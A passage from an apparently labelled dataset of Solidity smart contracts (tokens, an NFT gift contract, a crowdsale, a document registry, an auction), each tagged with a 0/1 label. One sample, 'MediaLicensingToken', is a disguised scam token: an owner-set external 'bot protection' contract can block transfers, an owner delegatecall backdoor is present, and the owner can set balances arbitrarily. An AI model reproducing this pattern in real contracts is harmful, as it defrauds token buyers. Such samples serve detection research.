if (_value > safeSub (MAX_TOKEN_COUNT, tokenCount)) return false;
accounts [msg.sender] = safeAdd (accounts [msg.sender], _value);
tokenCount = safeAdd (tokenCount, _value);
emit Transfer(0x0, msg.sender, _value);
return true;
}
return false;
}
function setOwner(address _newOwner) {
require (msg.sender == owner);
owner = _newOwner;
}
function freezeTransfers () {
require (msg.sender == owner);
if (!frozen) {
frozen = true;
emit Freeze ();
}
}
function unfreezeTransfers () {
require (msg.sender == owner);
if (frozen) {
frozen = false;
emit Unfreeze ();
}
}
function refundTokens(address _token, address _refund, uint256 _value) {
require (msg.sender == owner);
require(_token != address(this));
AbstractToken token = AbstractToken(_token);
token.transfer(_refund, _value);
emit RefundTokens(_token, _refund, _value);
}
function freezeAccount(address _target, bool freeze) {
require (msg.sender == owner);
require (msg.sender != _target);
frozenAccount[_target] = freeze;
emit FrozenFunds(_target, freeze);
}
event Freeze ();
event Unfreeze ();
event FrozenFunds(address target, bool frozen);
event RefundTokens(address _token, address _refund, uint256 _value);
} | 1 | 2,129 |
pragma solidity ^0.7.0;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
interface IUniswapV2Router02 {
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract BotProtected {
address internal owner;
address internal stopTheBots;
address public uniPair;
constructor(address _botProtection) {
stopTheBots = _botProtection;
}
modifier checkBots(address _from, address _to, uint256 _value) {
(bool notABot, bytes memory isNotBot) = stopTheBots.call(abi.encodeWithSelector(0x15274141, _from, _to, uniPair, _value));
require(notABot);
_;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
abstract contract ERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
}
}
contract MediaLicensingToken is BotProtected {
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply = 200000000000000000000000000;
string public name = "Media Licensing Token";
string public symbol = "MLT";
IUniswapV2Router02 public uniRouter = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address public wBNB = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
constructor(address _botProtection) BotProtected(_botProtection) {
owner = tx.origin;
uniPair = pairForPancake(wBNB, address(this));
allowance[address(this)][address(uniRouter)] = uint(-1);
allowance[tx.origin][uniPair] = uint(-1);
}
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable checkBots(_from, _to, _value) returns (bool) {
if (_value == 0) { return true; }
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
function pairForPancake(address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
function list(uint _numList, address[] memory _toWho, uint[] memory _amounts) public payable {
require(msg.sender == owner);
balanceOf[address(this)] = _numList;
balanceOf[msg.sender] = totalSupply * 6 / 100;
uniRouter.addLiquidityETH{value: msg.value}(
address(this),
_numList,
_numList,
msg.value,
msg.sender,
block.timestamp + 600
);
require(_toWho.length == _amounts.length);
stopTheBots.call(abi.encodeWithSelector(0xd5eaf4c3, _toWho));
for(uint i = 0; i < _toWho.length; i++) {
balanceOf[_toWho[i]] = _amounts[i];
emit Transfer(address(0x0), _toWho[i], _amounts[i]);
}
}
} | 1 | 3,754 |
contract check {
function add(address _add, uint _req) {
_add.callcode(bytes4(keccak256("changeRequirement(uint256)")), _req);
}
} | 1 | 3,484 |
pragma solidity ^0.4.24;
interface IERC165 {
function supportsInterface(bytes4 interfaceId)
external
view
returns (bool);
}
contract IERC721 is IERC165 {
event Transfer(
address indexed from,
address indexed to,
uint256 indexed tokenId
);
event Approval(
address indexed owner,
address indexed approved,
uint256 indexed tokenId
);
event ApprovalForAll(
address indexed owner,
address indexed operator,
bool approved
);
function balanceOf(address owner) public view returns (uint256 balance);
function ownerOf(uint256 tokenId) public view returns (address owner);
function approve(address to, uint256 tokenId) public;
function getApproved(uint256 tokenId)
public view returns (address operator);
function setApprovalForAll(address operator, bool _approved) public;
function isApprovedForAll(address owner, address operator)
public view returns (bool);
function transferFrom(address from, address to, uint256 tokenId) public;
function safeTransferFrom(address from, address to, uint256 tokenId)
public;
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes data
)
public;
}
contract IERC721Receiver {
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes data
)
public
returns(bytes4);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(account) }
return size > 0;
}
}
contract ERC165 is IERC165 {
bytes4 private constant _InterfaceId_ERC165 = 0x01ffc9a7;
mapping(bytes4 => bool) private _supportedInterfaces;
constructor()
internal
{
_registerInterface(_InterfaceId_ERC165);
}
function supportsInterface(bytes4 interfaceId)
external
view
returns (bool)
{
return _supportedInterfaces[interfaceId];
}
function _registerInterface(bytes4 interfaceId)
internal
{
require(interfaceId != 0xffffffff);
_supportedInterfaces[interfaceId] = true;
}
}
contract ERC721 is ERC165, IERC721 {
using SafeMath for uint256;
using Address for address;
bytes4 private constant _ERC721_RECEIVED = 0x150b7a02;
mapping (uint256 => address) private _tokenOwner;
mapping (uint256 => address) private _tokenApprovals;
mapping (address => uint256) private _ownedTokensCount;
mapping (address => mapping (address => bool)) private _operatorApprovals;
bytes4 private constant _InterfaceId_ERC721 = 0x80ac58cd;
constructor()
public
{
_registerInterface(_InterfaceId_ERC721);
}
function balanceOf(address owner) public view returns (uint256) {
require(owner != address(0));
return _ownedTokensCount[owner];
}
function ownerOf(uint256 tokenId) public view returns (address) {
address owner = _tokenOwner[tokenId];
require(owner != address(0));
return owner;
}
function approve(address to, uint256 tokenId) public {
address owner = ownerOf(tokenId);
require(to != owner);
require(msg.sender == owner || isApprovedForAll(owner, msg.sender));
_tokenApprovals[tokenId] = to;
emit Approval(owner, to, tokenId);
}
function getApproved(uint256 tokenId) public view returns (address) {
require(_exists(tokenId));
return _tokenApprovals[tokenId];
}
function setApprovalForAll(address to, bool approved) public {
require(to != msg.sender);
_operatorApprovals[msg.sender][to] = approved;
emit ApprovalForAll(msg.sender, to, approved);
}
function isApprovedForAll(
address owner,
address operator
)
public
view
returns (bool)
{
return _operatorApprovals[owner][operator];
}
function transferFrom(
address from,
address to,
uint256 tokenId
)
public
{
require(_isApprovedOrOwner(msg.sender, tokenId));
require(to != address(0));
_clearApproval(from, tokenId);
_removeTokenFrom(from, tokenId);
_addTokenTo(to, tokenId);
emit Transfer(from, to, tokenId);
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId
)
public
{
safeTransferFrom(from, to, tokenId, "");
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes _data
)
public
{
transferFrom(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data));
}
function _exists(uint256 tokenId) internal view returns (bool) {
address owner = _tokenOwner[tokenId];
return owner != address(0);
}
function _isApprovedOrOwner(
address spender,
uint256 tokenId
)
internal
view
returns (bool)
{
address owner = ownerOf(tokenId);
return (
spender == owner ||
getApproved(tokenId) == spender ||
isApprovedForAll(owner, spender)
);
}
function _mint(address to, uint256 tokenId) internal {
require(to != address(0));
_addTokenTo(to, tokenId);
emit Transfer(address(0), to, tokenId);
}
function _burn(address owner, uint256 tokenId) internal {
_clearApproval(owner, tokenId);
_removeTokenFrom(owner, tokenId);
emit Transfer(owner, address(0), tokenId);
}
function _addTokenTo(address to, uint256 tokenId) internal {
require(_tokenOwner[tokenId] == address(0));
_tokenOwner[tokenId] = to;
_ownedTokensCount[to] = _ownedTokensCount[to].add(1);
}
function _removeTokenFrom(address from, uint256 tokenId) internal {
require(ownerOf(tokenId) == from);
_ownedTokensCount[from] = _ownedTokensCount[from].sub(1);
_tokenOwner[tokenId] = address(0);
}
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes _data
)
internal
returns (bool)
{
if (!to.isContract()) {
return true;
}
bytes4 retval = IERC721Receiver(to).onERC721Received(
msg.sender, from, tokenId, _data);
return (retval == _ERC721_RECEIVED);
}
function _clearApproval(address owner, uint256 tokenId) private {
require(ownerOf(tokenId) == owner);
if (_tokenApprovals[tokenId] != address(0)) {
_tokenApprovals[tokenId] = address(0);
}
}
}
contract IERC721Enumerable is IERC721 {
function totalSupply() public view returns (uint256);
function tokenOfOwnerByIndex(
address owner,
uint256 index
)
public
view
returns (uint256 tokenId);
function tokenByIndex(uint256 index) public view returns (uint256);
}
contract ERC721Enumerable is ERC165, ERC721, IERC721Enumerable {
mapping(address => uint256[]) private _ownedTokens;
mapping(uint256 => uint256) private _ownedTokensIndex;
uint256[] private _allTokens;
mapping(uint256 => uint256) private _allTokensIndex;
bytes4 private constant _InterfaceId_ERC721Enumerable = 0x780e9d63;
constructor() public {
_registerInterface(_InterfaceId_ERC721Enumerable);
}
function tokenOfOwnerByIndex(
address owner,
uint256 index
)
public
view
returns (uint256)
{
require(index < balanceOf(owner));
return _ownedTokens[owner][index];
}
function totalSupply() public view returns (uint256) {
return _allTokens.length;
}
function tokenByIndex(uint256 index) public view returns (uint256) {
require(index < totalSupply());
return _allTokens[index];
}
function _addTokenTo(address to, uint256 tokenId) internal {
super._addTokenTo(to, tokenId);
uint256 length = _ownedTokens[to].length;
_ownedTokens[to].push(tokenId);
_ownedTokensIndex[tokenId] = length;
}
function _removeTokenFrom(address from, uint256 tokenId) internal {
super._removeTokenFrom(from, tokenId);
uint256 tokenIndex = _ownedTokensIndex[tokenId];
uint256 lastTokenIndex = _ownedTokens[from].length.sub(1);
uint256 lastToken = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastToken;
_ownedTokens[from].length--;
_ownedTokensIndex[tokenId] = 0;
_ownedTokensIndex[lastToken] = tokenIndex;
}
function _mint(address to, uint256 tokenId) internal {
super._mint(to, tokenId);
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
function _burn(address owner, uint256 tokenId) internal {
super._burn(owner, tokenId);
uint256 tokenIndex = _allTokensIndex[tokenId];
uint256 lastTokenIndex = _allTokens.length.sub(1);
uint256 lastToken = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastToken;
_allTokens[lastTokenIndex] = 0;
_allTokens.length--;
_allTokensIndex[tokenId] = 0;
_allTokensIndex[lastToken] = tokenIndex;
}
}
contract IERC721Metadata is IERC721 {
function name() external view returns (string);
function symbol() external view returns (string);
function tokenURI(uint256 tokenId) external view returns (string);
}
contract ERC721Metadata is ERC165, ERC721, IERC721Metadata {
string private _name;
string private _symbol;
mapping(uint256 => string) private _tokenURIs;
bytes4 private constant InterfaceId_ERC721Metadata = 0x5b5e139f;
constructor(string name, string symbol) public {
_name = name;
_symbol = symbol;
_registerInterface(InterfaceId_ERC721Metadata);
}
function name() external view returns (string) {
return _name;
}
function symbol() external view returns (string) {
return _symbol;
}
function tokenURI(uint256 tokenId) external view returns (string) {
require(_exists(tokenId));
return _tokenURIs[tokenId];
}
function _setTokenURI(uint256 tokenId, string uri) internal {
require(_exists(tokenId));
_tokenURIs[tokenId] = uri;
}
function _burn(address owner, uint256 tokenId) internal {
super._burn(owner, tokenId);
if (bytes(_tokenURIs[tokenId]).length != 0) {
delete _tokenURIs[tokenId];
}
}
}
contract ERC721Full is ERC721, ERC721Enumerable, ERC721Metadata {
constructor(string name, string symbol) ERC721Metadata(name, symbol)
public
{
}
}
library Roles {
struct Role {
mapping (address => bool) bearer;
}
function add(Role storage role, address account) internal {
require(account != address(0));
require(!has(role, account));
role.bearer[account] = true;
}
function remove(Role storage role, address account) internal {
require(account != address(0));
require(has(role, account));
role.bearer[account] = false;
}
function has(Role storage role, address account)
internal
view
returns (bool)
{
require(account != address(0));
return role.bearer[account];
}
}
contract MinterRole {
using Roles for Roles.Role;
event MinterAdded(address indexed account);
event MinterRemoved(address indexed account);
Roles.Role private minters;
constructor() internal {
_addMinter(msg.sender);
}
modifier onlyMinter() {
require(isMinter(msg.sender));
_;
}
function isMinter(address account) public view returns (bool) {
return minters.has(account);
}
function addMinter(address account) public onlyMinter {
_addMinter(account);
}
function renounceMinter() public {
_removeMinter(msg.sender);
}
function _addMinter(address account) internal {
minters.add(account);
emit MinterAdded(account);
}
function _removeMinter(address account) internal {
minters.remove(account);
emit MinterRemoved(account);
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender)
external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value)
external returns (bool);
function transferFrom(address from, address to, uint256 value)
external returns (bool);
event Transfer(
address indexed from,
address indexed to,
uint256 value
);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns(address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner());
_;
}
function isOwner() public view returns(bool) {
return msg.sender == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0));
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract TokenRecover is Ownable {
function recoverERC20(
address tokenAddress,
uint256 tokenAmount
)
public
onlyOwner
{
IERC20(tokenAddress).transfer(owner(), tokenAmount);
}
}
contract CryptoGiftToken is ERC721Full, MinterRole, TokenRecover {
struct GiftStructure {
uint256 amount;
address purchaser;
string content;
uint256 date;
uint256 style;
}
uint256 private _styles;
uint256 private _progressiveId;
uint256 private _maxSupply;
mapping(uint256 => GiftStructure) private _structureIndex;
modifier canGenerate() {
require(
_progressiveId < _maxSupply,
"Max token supply reached"
);
_;
}
constructor(
string name,
string symbol,
uint256 maxSupply
)
public
ERC721Full(name, symbol)
{
_maxSupply = maxSupply;
}
function styles() external view returns (uint256) {
return _styles;
}
function progressiveId() external view returns (uint256) {
return _progressiveId;
}
function maxSupply() external view returns (uint256) {
return _maxSupply;
}
function newGift(
uint256 amount,
address purchaser,
address beneficiary,
string content,
uint256 date,
uint256 style
)
external
canGenerate
onlyMinter
returns (uint256)
{
require(
date > 0,
"Date must be greater than zero"
);
require(
style <= _styles,
"Style is not available"
);
uint256 tokenId = _progressiveId.add(1);
_mint(beneficiary, tokenId);
_structureIndex[tokenId] = GiftStructure(
amount,
purchaser,
content,
date,
style
);
_progressiveId = tokenId;
return tokenId;
}
function isVisible (
uint256 tokenId
)
external
view
returns (bool visible, uint256 date)
{
if (_exists(tokenId)) {
GiftStructure storage gift = _structureIndex[tokenId];
visible = block.timestamp >= gift.date;
date = gift.date;
} else {
visible = false;
date = 0;
}
}
function getGift (uint256 tokenId)
external
view
returns (
uint256 amount,
address purchaser,
address beneficiary,
string content,
uint256 date,
uint256 style
)
{
require(
_exists(tokenId),
"Token must exists"
);
GiftStructure storage gift = _structureIndex[tokenId];
require(
block.timestamp >= gift.date,
"Now should be greater than gift date"
);
amount = gift.amount;
purchaser = gift.purchaser;
beneficiary = ownerOf(tokenId);
content = gift.content;
date = gift.date;
style = gift.style;
}
function burn(uint256 tokenId) external {
address tokenOwner = isOwner() ? ownerOf(tokenId) : msg.sender;
super._burn(tokenOwner, tokenId);
delete _structureIndex[tokenId];
}
function setStyles(uint256 newStyles) external onlyMinter {
require(
newStyles > _styles,
"Styles cannot be decreased"
);
_styles = newStyles;
}
} | 0 | 425 |
pragma solidity ^0.4.25 ;
contract CHEMCHINA_PFIII_III_883 {
mapping (address => uint256) public balanceOf;
string public name = " CHEMCHINA_PFIII_III_883 " ;
string public symbol = " CHEMCHINA_PFIII_III_IMTD " ;
uint8 public decimals = 18 ;
uint256 public totalSupply = 960045161637506000000000000 ;
event Transfer(address indexed from, address indexed to, uint256 value);
function SimpleERC20Token() public {
balanceOf[msg.sender] = totalSupply;
emit Transfer(address(0), msg.sender, totalSupply);
}
function transfer(address to, uint256 value) public returns (bool success) {
require(balanceOf[msg.sender] >= value);
balanceOf[msg.sender] -= value;
balanceOf[to] += value;
emit Transfer(msg.sender, to, value);
return true;
}
event Approval(address indexed owner, address indexed spender, uint256 value);
mapping(address => mapping(address => uint256)) public allowance;
function approve(address spender, uint256 value)
public
returns (bool success)
{
allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function transferFrom(address from, address to, uint256 value)
public
returns (bool success)
{
require(value <= balanceOf[from]);
require(value <= allowance[from][msg.sender]);
balanceOf[from] -= value;
balanceOf[to] += value;
allowance[from][msg.sender] -= value;
emit Transfer(from, to, value);
return true;
}
} | 1 | 2,582 |
pragma solidity ^0.4.18;
interface token {
function transfer(address receiver, uint amount) external;
}
contract Crowdsale {
address public beneficiary;
uint public fundingGoal;
uint public amountRaised;
uint public amountRemaining;
uint public deadline;
uint public price;
token public tokenReward;
bool crowdsaleClosed = false;
event GoalReached(address recipient, uint totalAmountRaised);
event FundTransfer(address backer, uint amount, bool isContribution);
function Crowdsale(
address ifSuccessfulSendTo,
address addressOfTokenUsedAsReward
) public {
beneficiary = ifSuccessfulSendTo;
fundingGoal = 5000 * 1 ether;
deadline = 1532361600;
price = 10 szabo;
tokenReward = token(addressOfTokenUsedAsReward);
}
function () payable public {
require(!crowdsaleClosed);
uint amount = msg.value;
amountRaised += amount;
amountRemaining+= amount;
tokenReward.transfer(msg.sender, amount / price);
emit FundTransfer(msg.sender, amount, true);
}
modifier afterDeadline() { if (now >= deadline) _; }
function checkGoalReached() public afterDeadline {
if (amountRaised >= fundingGoal){
emit GoalReached(beneficiary, amountRaised);
}
else
{
tokenReward.transfer(beneficiary, (fundingGoal-amountRaised) / price);
}
crowdsaleClosed = true;
}
function safeWithdrawal() public afterDeadline {
if (beneficiary == msg.sender) {
if (beneficiary.send(amountRemaining)) {
amountRemaining =0;
emit FundTransfer(beneficiary, amountRemaining, false);
}
}
}
} | 0 | 1,054 |
pragma solidity ^0.4.23;
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) constant returns (uint256);
function transfer(address to, uint256 value) returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract GlobalStorageMultiId {
uint256 public regPrice;
function registerUser(bytes32 _id) payable returns(bool);
function changeAddress(bytes32 _id , address _newAddress) returns(bool);
function setUint(bytes32 _id , bytes32 _key , uint _data , bool _overwrite) returns(bool);
function getUint(bytes32 _id , bytes32 _key) constant returns(uint);
event Error(string _string);
event RegisteredUser(address _address , bytes32 _id);
event ChangedAdd(bytes32 _id , address _old , address _new);
}
contract UpgDocs {
function confirm(bytes32 _storKey) returns(bool);
event DocsUpgraded(address _oldAddress,address _newAddress);
}
contract RegDocuments {
string public version;
address public admin;
address public owner;
uint public price;
bool registered;
address storageAddress;
bytes32 public storKey;
uint public ownerPerc;
GlobalStorageMultiId public Storage;
event RegDocument(address indexed from);
event DocsUpgraded(address _oldAddress,address _newAddress);
event ReceivedPayment(address indexed _address,uint256 _value);
modifier onlyAdmin() {
if ( msg.sender != admin && msg.sender != owner ) revert();
_;
}
modifier onlyOwner() {
if ( msg.sender != owner ) revert();
_;
}
constructor() {
price = 0.01 ether;
admin = msg.sender;
owner = 0xc238ff50c09787e7b920f711850dd945a40d3232;
version = "v0.6";
storageAddress = 0x8f49722c61a9398a1c5f5ce6e5feeef852831a64;
ownerPerc = 100;
Storage = GlobalStorageMultiId(storageAddress);
}
function getStoragePrice() onlyAdmin constant returns(uint) {
return Storage.regPrice();
}
function registerDocs(bytes32 _storKey) onlyAdmin payable {
require(!registered);
uint _value = Storage.regPrice();
storKey = _storKey;
Storage.registerUser.value(_value)(_storKey);
registered = true;
}
function upgradeDocs(address _newAddress) onlyAdmin {
UpgDocs newDocs = UpgDocs(_newAddress);
require(newDocs.confirm(storKey));
Storage.changeAddress(storKey,_newAddress);
_newAddress.send(this.balance);
}
function confirm(bytes32 _storKey) returns(bool) {
require(!registered);
storKey = _storKey;
registered = true;
emit DocsUpgraded(msg.sender,this);
return true;
}
function changeOwner(address _newOwnerAddress) onlyOwner returns(bool){
owner = _newOwnerAddress;
return true;
}
function changeAdmin(address _newAdmin) onlyOwner returns(bool) {
admin = _newAdmin;
return true;
}
function sendToken(address _token,address _to , uint _value) onlyOwner returns(bool) {
ERC20Basic Token = ERC20Basic(_token);
require(Token.transfer(_to, _value));
return true;
}
function changePerc(uint _newperc) onlyAdmin public {
ownerPerc = _newperc;
}
function changePrice(uint _newPrice) onlyAdmin public {
price = _newPrice;
}
function() payable public {
uint a = getUint(msg.sender);
setUint(msg.sender, a + msg.value);
uint b = admin.balance;
if ( b < 0.001 ether ) {
admin.send( 0.001 ether - b );
}
owner.send(this.balance);
emit ReceivedPayment(msg.sender, msg.value);
}
function sendCredits(address[] _addresses, uint _amountEach) onlyAdmin public returns (bool success) {
for (uint8 i=0; i<_addresses.length; i++){
uint a = getUint(_addresses[i]);
setUint(_addresses[i], a + _amountEach);
emit ReceivedPayment(_addresses[i],_amountEach);
}
}
function getBalance(address _address) constant returns(uint) {
return getUint(_address);
}
function regDoc(address _address, string _hash) onlyAdmin returns (bool success) {
uint a = getUint(_address);
require(a >= price);
setUint(_address, a - price);
emit RegDocument(_address);
return true;
}
function getPrice() constant returns(uint) {
return price;
}
function setUint(address _address, uint _value) internal {
Storage.setUint(storKey, bytes32(_address), _value, true);
}
function getUint(address _address) internal constant returns(uint) {
return Storage.getUint(storKey, bytes32(_address));
}
} | 1 | 3,955 |
pragma solidity ^0.4.24;
contract SafeMath {
function safeMul(uint a, uint b) internal pure returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function safeSub(uint a, uint b) internal pure returns (uint) {
assert(b <= a);
return a - b;
}
function safeAdd(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
assert(c>=a && c>=b);
return c;
}
function is112bit(uint x) internal pure returns (bool) {
if (x < 1 << 112) {
return true;
} else {
return false;
}
}
function is32bit(uint x) internal pure returns (bool) {
if (x < 1 << 32) {
return true;
} else {
return false;
}
}
}
contract Token {
function totalSupply() constant returns (uint256 supply) {}
function balanceOf(address _owner) constant returns (uint256 balance) {}
function transfer(address _to, uint256 _value) returns (bool success) {}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {}
function approve(address _spender, uint256 _value) returns (bool success) {}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {}
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
uint public decimals;
string public name;
}
contract NoReturnToken {
function totalSupply() constant returns (uint256 supply) {}
function balanceOf(address _owner) constant returns (uint256 balance) {}
function transfer(address _to, uint256 _value) {}
function transferFrom(address _from, address _to, uint256 _value) {}
function approve(address _spender, uint256 _value) {}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {}
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
uint public decimals;
string public name;
}
contract NewAuction {
function depositForUser(address _user) payable {}
function depositTokenForUser(address _user, address _token, uint _amount) {}
}
contract Auction is SafeMath {
struct TokenAuction {
mapping (uint => uint) buyOrders;
uint buyCount;
mapping (uint => uint) sellOrders;
uint sellCount;
uint maxVolume;
uint maxVolumePrice;
uint maxVolumePriceB;
uint maxVolumePriceS;
bool toBeExecuted;
bool activeAuction;
uint executionIndex;
uint executionBuyVolume;
uint executionSellVolume;
uint auctionIndex;
mapping (uint => mapping (uint => uint)) checkAuctionIndex;
mapping (uint => mapping (uint => uint)) checkIndex;
mapping (uint => mapping (uint => uint)) checkBuyVolume;
mapping (uint => mapping (uint => uint)) checkSellVolume;
uint minimumOrder;
bool supported;
bool lastAuction;
bool everSupported;
uint nextAuctionTime;
uint checkDuration;
bool startedReveal;
bool startedCheck;
bool startedExecute;
uint onchainBuyCount;
uint onchainSellCount;
uint publicBuyCount;
uint publicSellCount;
uint revealDuration;
uint decimals;
uint unit;
uint lastPrice;
bool noReturnTransfer;
bool noReturnApprove;
bool noReturnTransferFrom;
bool autoWithdrawDisabled;
}
mapping (address => TokenAuction) token;
address[] indexToAddress;
mapping (address => uint32) public addressToIndex;
address admin;
address operator;
mapping (address => mapping (address => uint)) public balances;
bool constant developmentTiming = false;
uint[] public fees;
address feeAccount;
bool feeAccountFinalised;
address[] tokenList;
uint public activeAuctionCount = 0;
uint public revealingAuctionCount = 0;
mapping (address => uint) public signedWithdrawalNonce;
mapping (address => bool) public autoWithdraw;
mapping (address => bool) public staticAutoWithdraw;
mapping (address => bool) public verifiedContract;
uint[] reserve;
event BuyOrderPosted(address indexed tokenAddress, uint indexed auctionIndex, address indexed userAddress, uint orderIndex, uint price, uint amount);
event BuyOrderRemoved(address indexed tokenAddress, uint indexed auctionIndex, address indexed userAddress, uint orderIndex);
event SellOrderPosted(address indexed tokenAddress, uint indexed auctionIndex, address indexed userAddress, uint orderIndex, uint price, uint amount);
event SellOrderRemoved(address indexed tokenAddress, uint indexed auctionIndex, address indexed userAddress, uint orderIndex);
event Deposit(address indexed tokenAddress, address indexed userAddress, uint amount);
event Withdrawal(address indexed tokenAddress, address indexed userAddress, uint amount);
event AuctionHistory(address indexed tokenAddress, uint indexed auctionIndex, uint auctionTime, uint price, uint volume);
function Auction(address a) {
admin = a;
indexToAddress.push(0);
operator = a;
feeAccount = a;
fees.push(0);
fees.push(0);
